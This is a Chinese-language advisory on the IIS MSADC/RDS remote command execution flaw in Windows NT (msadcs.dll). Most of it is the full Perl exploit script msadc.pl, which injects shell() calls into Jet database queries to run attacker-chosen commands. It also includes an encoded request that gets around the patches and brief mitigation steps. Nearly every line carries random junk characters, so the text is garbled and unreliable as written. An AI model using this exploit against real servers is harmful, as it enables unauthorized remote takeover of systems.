IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
P8;f^3V(+/ +ywd(Tuzm 涉及程序:
O:(%m Microsoft NT server
QLAyX*%B -cnlj 描述:
*!x/ia9 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
eO=!( P%xz"l i 详细:
`-)Fx<e 如果你没有时间读详细内容的话,就删除:
91bJ7% c:\Program Files\Common Files\System\Msadc\msadcs.dll
5A*'@Fr'G 有关的安全问题就没有了。
Z|a\rNv parC~)b_ 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
fY9/u = /'0,cJnm 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
dM3V2TT 关于利用ODBC远程漏洞的描述,请参看:
YK|Y^TU^ sYY=MD
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm od~`q4p1(-
js8\" 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
7Om)uUjU4 http://www.microsoft.com/security/bulletins/MS99-025faq.asp P;!4 VK
\l8$1p 这里不再论述。
d<l-Ldle {cBLm/C 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
Y4dTv<=K@i cP MUu9du /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
"227 U)Q 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
=rDIU&0Y
@OPyT )SYZ*=ezl. #将下面这段保存为txt文件,然后: "perl -x 文件名"
?W"9G0hTqM 6'N!)b^- #!perl
rKys:is #
:cK;|{f # MSADC/RDS 'usage' (aka exploit) script
uH-*`* #
T4{&@b
0* # by rain.forest.puppy
6">jf #pE #
'zhw]L;'g # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
$W;IW$ # beta test and find errors!
id.W"5+ 4c=oAL use Socket; use Getopt::Std;
y3!=0uPf getopts("e:vd:h:XR", \%args);
g1`/xJz| @Q atgYu print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
#/9(^6f: R4|<Vp<U2 if (!defined $args{h} && !defined $args{R}) {
l7r!fAV-f print qq~
<XxFR Usage: msadc.pl -h <host> { -d <delay> -X -v }
;{inhiySN -h <host> = host you want to scan (ip or domain)
<~Tlx: -d <seconds> = delay between calls, default 1 second
i>[1^~; -X = dump Index Server path table, if available
jsvD[ \P -v = verbose
VNbq]L(g -e = external dictionary file for step 5
Lay+)S.ta[ B1A5b=6G< Or a -R will resume a command session
<&'r_m R`:NUGR ~; exit;}
^50/.Z> ;pNHT*>u, $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
$|YIr7?R if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
_k@{>
?(a if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
Q( KLx ) if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
0fPqO2 $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
%?EOD=e= if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
*<! W k\ e+F5FAMR68 if (!defined $args{R}){ $ret = &has_msadc;
#={L!"3?e die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
D4r5wc% ZCMB]bL-e print "Please type the NT commandline you want to run (cmd /c assumed):\n"
yX(6C]D . "cmd /c ";
%d9UW Q $in=<STDIN>; chomp $in;
$0Y&r]' $command="cmd /c " . $in ;
0PnW|N0 ~R cd if (defined $args{R}) {&load; exit;}
3HA$k[%7P [#td print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
05MtQB &try_btcustmr;
V|.aud=7z E `)p,{T print "\nStep 2: Trying to make our own DSN...";
zY|]bP[NEH &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
AAdRuO{l1 ^>ca*g print "\nStep 3: Trying known DSNs...";
v}]x>f &known_dsn;
v[6 BESu b~b(Ed{r print "\nStep 4: Trying known .mdbs...";
<5(8LMF &known_mdb;
WL}6YSC =D4EPfQn1 if (defined $args{e}){
LZG^\c$ print "\nStep 5: Trying dictionary of DSN names...";
v-)eT &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
]T(O;y*m "=<lPi print "Sorry Charley...maybe next time?\n";
UUY-EC7X exit;
k&DHQvfB bYdC.AE ##############################################################################
"ngYh]Git$ KW&&AuPb} sub sendraw { # ripped and modded from whisker
WytCc>oL sleep($delay); # it's a DoS on the server! At least on mine...
n a2"Sy=Yi my ($pstr)=@_;
&bj :,$@ socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
=tH+e7it die("Socket problems\n");
&U xN.vl if(connect(S,pack "SnA4x8",2,80,$target)){
[NvEXTd select(S); $|=1;
B:z -?u#B print $pstr; my @in=<S>;
=,[46 ;q select(STDOUT); close(S);
4_N)1u ! return @in;
i&>,aiH@ } else { die("Can't connect...\n"); }}
gH\r# wy| 0 \LkJ*i ##############################################################################
=pcj{B{qa >Fld7;L?< sub make_header { # make the HTTP request
2a=WT`xf? my $msadc=<<EOT
7Nwi\#o POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
0v0Y(
Mo@ User-Agent: ACTIVEDATA
vEzzdDwi6 Host: $ip
jD^L < Content-Length: $clen
@mJN Connection: Keep-Alive
]QT0sGl ;*W]]4fy ADCClientVersion:01.06
\-s) D#Y;r Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
R~w(] [l#WS --!ADM!ROX!YOUR!WORLD!
B@zJ\Ir[ Content-Type: application/x-varg
Pz|qy, Content-Length: $reqlen
}h_Op7.5D @?B=8VHR EOT
EkSTN ; $msadc=~s/\n/\r\n/g;
Lf 0Hz") return $msadc;}
#]eXI
$HP EJWMr`zdn ##############################################################################
}7=a,1T D hZtiqL#_ sub make_req { # make the RDS request
j|`{
1`' my ($switch, $p1, $p2)=@_;
4nl>&AV my $req=""; my $t1, $t2, $query, $dsn;
z}bnw2d] z{#F9'\& if ($switch==1){ # this is the btcustmr.mdb query
Y[~6f,?^ $query="Select * from Customers where City=" . make_shell();
]Hd0
Y% $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
50DPzn $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
NNl/'ge<\ M@'V4oUz elsif ($switch==2){ # this is general make table query
%&_(IY$d $query="create table AZZ (B int, C varchar(10))";
WQ5sC[& $dsn="$p1";}
^Nsl5 @5?T]V g elsif ($switch==3){ # this is general exploit table query
Q5,@P? $query="select * from AZZ where C=" . make_shell();
)E7A,ZW, $dsn="$p1";}
uCu,'F,6Y 3(5RUI- elsif ($switch==4){ # attempt to hork file info from index server
2/7=@>| $query="select path from scope()";
%o"Rcw| $dsn="Provider=MSIDXS;";}
9uS7G * +rT( elsif ($switch==5){ # bad query
}qD.Ek $query="select";
_yWH\5@ $dsn="$p1";}
_).'SU)> W;N/Y3Lb $t1= make_unicode($query);
Q?a"uei[ $t2= make_unicode($dsn);
3,vH:L4 $req = "\x02\x00\x03\x00";
:):Y6)giBD $req.= "\x08\x00" . pack ("S1", length($t1));
/XSPVc< $req.= "\x00\x00" . $t1 ;
b(SV_.4,' $req.= "\x08\x00" . pack ("S1", length($t2));
f0D Ch] $req.= "\x00\x00" . $t2 ;
$k`8Zx w $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
@^` <iTK&p return $req;}
/M3D[aR<d z'qVEHc) ##############################################################################
7%E1F)% GcU/ sub make_shell { # this makes the shell() statement
`>sqP aD return "'|shell(\"$command\")|'";}
?UfZ VyHv+ _"sRL}-Z ##############################################################################
w@: ]]R &1h3o^K sub make_unicode { # quick little function to convert to unicode
R$fna[Xw@/ my ($in)=@_; my $out;
+uLo~GdbE for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
|?|
u-y return $out;}
I)Lb"
7k\7G= ##############################################################################
lXPn]iLJ ya_'Oz!C sub rdo_success { # checks for RDO return success (this is kludge)
U2AGH2emw my (@in) = @_; my $base=content_start(@in);
vLS9V/o if($in[$base]=~/multipart\/mixed/){
o 4b{>x return 1 if( $in[$base+10]=~/^\x09\x00/ );}
\a6)t%u return 0;}
%f-<ol $dnHUBB ##############################################################################
Nb#7&_f= lBn*G&(P sub make_dsn { # this makes a DSN for us
iTt=aQjd my @drives=("c","d","e","f");
>1~`tP print "\nMaking DSN: ";
Eo Urc9G2 foreach $drive (@drives) {
<!N;(nZ9}O print "$drive: ";
=CVT8(N* my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
hX_p5a1t "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
A pjqSz" . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
Q$vr`yV#=6 $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
YW{V4yW return 0 if $2 eq "404"; # not found/doesn't exist
=_dd4`G&< if($2 eq "200") {
cP2R24th foreach $line (@results) {
&JlR70gdHi return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
d*>k
]X@G } return 0;}
JKT+ q*V
`_'Dj> ##############################################################################
3kQ ^f=Wd ^d9raYE`' sub verify_exists {
gk z#kiGF my ($page)=@_;
LgNNtZ&F my @results=sendraw("GET $page HTTP/1.0\n\n");
0X?fDz}jd return $results[0];}
B<XPu=| 3b3cNYP ##############################################################################
N1!5J(V4 Z]S0AB.Z@ sub try_btcustmr {
5 WppV3; my @drives=("c","d","e","f");
u-9t s my @dirs=("winnt","winnt35","winnt351","win","windows");
_;q-+"6L; nTU~M~gky foreach $dir (@dirs) {
?03Zy3/ print "$dir -> "; # fun status so you can see progress
(d;(FBk=' foreach $drive (@drives) {
iy82QNe print "$drive: "; # ditto
3=l-jGJk $reqlen=length( make_req(1,$drive,$dir) ) - 28;
B%@!\D# $reqlenlen=length( "$reqlen" );
t60/f&A#7H $clen= 206 + $reqlenlen + $reqlen;
+7/*y}.U &iOtw0E my @results=sendraw(make_header() . make_req(1,$drive,$dir));
Hm*vKFhz if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
3K!0 4\ else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
|2<f<k/UT $cOD6Xr)d ##############################################################################
%gMpV W-PZE|< sub odbc_error {
i 9tJHeSm my (@in)=@_; my $base;
wDhcHB my $base = content_start(@in);
3Gl]g/ if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
otSPi7|k $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
C5 5n $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
dO4#BDn"= $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
]0i2]=J&, return $in[$base+4].$in[$base+5].$in[$base+6];}
pmyM&'#Id print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
IA`8ie+ print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
87(^P3;@ $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
;]M67ma7C 'D"K`Vw ##############################################################################
R[9PFMn (MoTG^MrBY sub verbose {
9BD|uU;0 my ($in)=@_;
}PIB b return if !$verbose;
.XKvk(9 print STDOUT "\n$in\n";}
V&oT':%q g**%J Xo ##############################################################################
*z"1MU OEE{JVeI sub save {
=P;;&j3Z my ($p1, $p2, $p3, $p4)=@_;
ZU.)K>' open(OUT, ">rds.save") || print "Problem saving parameters...\n";
:ZfUjqRE print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
f5b`gvCY,# close OUT;}
pd>a6 lI` Mto~ / ##############################################################################
!$xEX,vj|W `/JR}g{O sub load {
01c/;B my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
eAYW%a open(IN,"<rds.save") || die("Couldn't open rds.save\n");
~`>26BWQz @p=<IN>; close(IN);
:z} _y&] $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
~<aeA'>OA $target= inet_aton($ip) || die("inet_aton problems");
xFm{oJ!]& print "Resuming to $ip ...";
+Q!xEfpO; $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
:iQ^1S`pH if($p[1]==1) {
fI
d) $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
mYjiiql~ $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
iRwW> a3/ my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
9h38`*Im; if (rdo_success(@results)){print "Success!\n";}
:IT U0%;!+ else { print "failed\n"; verbose(odbc_error(@results));}}
d)GkXll1D elsif ($p[1]==3){
@oqi@&L'C if(run_query("$p[3]")){
VtzmY print "Success!\n";} else { print "failed\n"; }}
!+45=d 5 elsif ($p[1]==4){
Go+xL/f if(run_query($drvst . "$p[3]")){
F}B/-".^ print "Success!\n"; } else { print "failed\n"; }}
Ddl% V7 exit;}
9Oo*8wvGG ;Jbc'V'fm ##############################################################################
9MtJo.A /IJ9_To sub create_table {
{8Jk=)(md my ($in)=@_;
<#p|z`N $reqlen=length( make_req(2,$in,"") ) - 28;
h[|zs>p $reqlenlen=length( "$reqlen" );
dI
ZTLb"a $clen= 206 + $reqlenlen + $reqlen;
C3b0`|5 my @results=sendraw(make_header() . make_req(2,$in,""));
GE~(N N return 1 if rdo_success(@results);
E2h;hr;W my $temp= odbc_error(@results); verbose($temp);
Xq^y<[ return 1 if $temp=~/Table 'AZZ' already exists/;
^z%o]; return 0;}
}M9DqZ;I E#{WU} ##############################################################################
i3 l #~ af?\kBm sub known_dsn {
@Wx`l) b # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
^8-~@01.`_ my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
k|$"TFXx; "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
4gv.E 0Fo "banner", "banners", "ads", "ADCDemo", "ADCTest");
6&
&} P79 zh{@?k foreach $dSn (@dsns) {
T[4[/n>i print ".";
=!g/2;-or next if (!is_access("DSN=$dSn"));
ph8Jn+|E if(create_table("DSN=$dSn")){
5v!DYx print "$dSn successful\n";
]w_ if(run_query("DSN=$dSn")){
"%}Gy>; print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
TJyH/C print "Something's borked. Use verbose next time\n";}}} print "\n";}
Gdf1+mi XAQ\OX# ##############################################################################
u>t|X}JH '!+P{ sub is_access {
43{_Y] my ($in)=@_;
PQU3s$ $reqlen=length( make_req(5,$in,"") ) - 28;
w;yiX<t< $reqlenlen=length( "$reqlen" );
Msv*}^> $clen= 206 + $reqlenlen + $reqlen;
/jZaU` my @results=sendraw(make_header() . make_req(5,$in,""));
yUD_w my $temp= odbc_error(@results);
~}7$uW0ol verbose($temp); return 1 if ($temp=~/Microsoft Access/);
}DDVGs[ return 0;}
r sX$fU8 :_o] F ##############################################################################
_uO!N(k. B8cBQ v sub run_query {
)]c]el@y my ($in)=@_;
LXh@o1 $reqlen=length( make_req(3,$in,"") ) - 28;
KJ0xp hf $reqlenlen=length( "$reqlen" );
{z5V{M(|w3 $clen= 206 + $reqlenlen + $reqlen;
vgh^fa!/ my @results=sendraw(make_header() . make_req(3,$in,""));
j.=UI-&m return 1 if rdo_success(@results);
|<j,Tr1[ my $temp= odbc_error(@results); verbose($temp);
!"`@sd~ return 0;}
-~vl+L RjR&D?dc ##############################################################################
C@TN5?Z {[M0y*^64$ sub known_mdb {
o~OwE7H)A my @drives=("c","d","e","f","g");
z`emKFbv my @dirs=("winnt","winnt35","winnt351","win","windows");
>%uAQiU my $dir, $drive, $mdb;
:rz9M@7 my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
p4m^ ~e 1a($8> # this is sparse, because I don't know of many
,2 zt.aqB my @sysmdbs=( "\\catroot\\icatalog.mdb",
<&qpl0U)Y "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
laUu"cS "\\system32\\certmdb.mdb",
3bbp>7V! "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
&Q-[; H
Z;ZjC* my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
w+Z- -@\ "\\cfusion\\cfapps\\forums\\forums_.mdb",
"*Lj8C3|n "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
8
3z'# "\\cfusion\\cfapps\\security\\realm_.mdb",
:X'*8,]KHH "\\cfusion\\cfapps\\security\\data\\realm.mdb",
XKz;o^1a^ "\\cfusion\\database\\cfexamples.mdb",
lv<iJH\
"\\cfusion\\database\\cfsnippets.mdb",
.-SDo"K.h "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
0t#NMW "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
^%\)Xi "\\cfusion\\brighttiger\\database\\cleam.mdb",
F[>7z3I "\\cfusion\\database\\smpolicy.mdb",
'}U_D:o.b "\\cfusion\\database\cypress.mdb",
Zdv.PGn "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
u-AWJc+F . "\\website\\cgi-win\\dbsample.mdb",
V,>+G6e "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
mND XzT& "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
U8CWz!;Qz ); #these are just
6BDt.bG foreach $drive (@drives) {
+68+PhHF foreach $dir (@dirs){
2{Wo-B,wt~ foreach $mdb (@sysmdbs) {
~R :<Bw print ".";
7IA3q{P if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
V -q%r print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
E|pk. if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
VLf
g[*k print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
`@h:_d } else { print "Something's borked. Use verbose next time\n"; }}}}}
m_c O<LB DZ^=*. foreach $drive (@drives) {
X Y~;)<s_ foreach $mdb (@mdbs) {
.qSBh
hH\ print ".";
"Kyifw? if(create_table($drv . $drive . $dir . $mdb)){
/nc~T3j print "\n" . $drive . $dir . $mdb . " successful\n";
{*N^C@ if(run_query($drv . $drive . $dir . $mdb)){
;(K print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
! mm5I#s } else { print "Something's borked. Use verbose next time\n"; }}}}
u K'<xM"%T }
A:kkCG!~Nf ?3`q+[: ##############################################################################
3>i>@n_ 2< p{z sub hork_idx {
I^WIa"u_ print "\nAttempting to dump Index Server tables...\n";
fs&,w print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
]\OWZ{T'j $reqlen=length( make_req(4,"","") ) - 28;
W@l+ciZ_ $reqlenlen=length( "$reqlen" );
3@&bxYXm $clen= 206 + $reqlenlen + $reqlen;
#;d)? my @results=sendraw2(make_header() . make_req(4,"",""));
|</"N-#S if (rdo_success(@results)){
6G'<[gL
j my $max=@results; my $c; my %d;
'g]hmE for($c=19; $c<$max; $c++){
IQT cYl $results[$c]=~s/\x00//g;
Yy]T
J $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
0Qm"n6NQ $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
j8pFgnQ $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
SC'BmR"ox $d{"$1$2"}="";}
DMB"Y, foreach $c (keys %d){ print "$c\n"; }
xS"$g9o0 } else {print "Index server doesn't seem to be installed.\n"; }}
5|{)Z]M%9 !L77y^oV ##############################################################################
UV4u.7y kGm:VYf% sub dsn_dict {
R8tF/dx>7 open(IN, "<$args{e}") || die("Can't open external dictionary\n");
.Y! :x=e while(<IN>){
oAY_sg+ $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
_().t5< next if (!is_access("DSN=$dSn"));
r:-WzH(Ms if(create_table("DSN=$dSn")){
NH'iR!iGo print "$dSn successful\n";
tev QW if(run_query("DSN=$dSn")){
GJX4KA8J print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
Y&s2C%jT print "Something's borked. Use verbose next time\n";}}}
`|]e6Pb print "\n"; close(IN);}
}'lNi^"XL Q!K`e )R ##############################################################################
[G a~%m &eIGF1ws sub sendraw2 { # ripped and modded from whisker
m=QCG)s sleep($delay); # it's a DoS on the server! At least on mine...
,>u=gA&} my ($pstr)=@_;
VpSEVd:n socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
CN/IH die("Socket problems\n");
;`kWpM; if(connect(S,pack "SnA4x8",2,80,$target)){
W}h|K:-S print "Connected. Getting data";
;-Ss# & open(OUT,">raw.out"); my @in;
1~'_K9eE select(S); $|=1; print $pstr;
|q_
!.
a while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
=2,0Wo]$ close(OUT); select(STDOUT); close(S); return @in;
j5\$[-'; } else { die("Can't connect...\n"); }}
\X&
C4# u?kD)5Nk ##############################################################################
!qA8Zky_ a=+T95ulDy sub content_start { # this will take in the server headers
khAqYu") my (@in)=@_; my $c;
NhA#bn9y? for ($c=1;$c<500;$c++) {
noC?k }M if($in[$c] =~/^\x0d\x0a/){
^YKy9zkTl if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
Ziz=]D_ else { return $c+1; }}}
w>qCg XU3
return -1;} # it should never get here actually
(S oo<.9~ H0a-( ##############################################################################
=Y9\DeIZ pcH<gF(k sub funky {
'S?;J ,/ my (@in)=@_; my $error=odbc_error(@in);
J{Tq%\a3 if($error=~/ADO could not find the specified provider/){
Zhzy.u/> print "\nServer returned an ADO miscofiguration message\nAborting.\n";
,GrB'N{8e exit;}
6e .v&f7( if($error=~/A Handler is required/){
`U{mbw, print "\nServer has custom handler filters (they most likely are patched)\n";
BDe]18X exit;}
#dc1pfL!y{ if($error=~/specified Handler has denied Access/){
)p8I@E print "\nServer has custom handler filters (they most likely are patched)\n";
`5'2Hg+ exit;}}
t\r:E2
O \&a.}t ##############################################################################
.
uR M{Bs <tbZj=*O/o sub has_msadc {
i"HgvBHx my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
9cd 8=][ my $base=content_start(@results);
'# z]M return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
Q>8pP \ho return 0;}
rGlRAn#?, 5j{Np,K ########################
r7 VXeoX NP/>H9Q2% zoP%u,XL 解决方案:
@Z;1 g 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
F
Z!J 2、移除web 目录: /msadc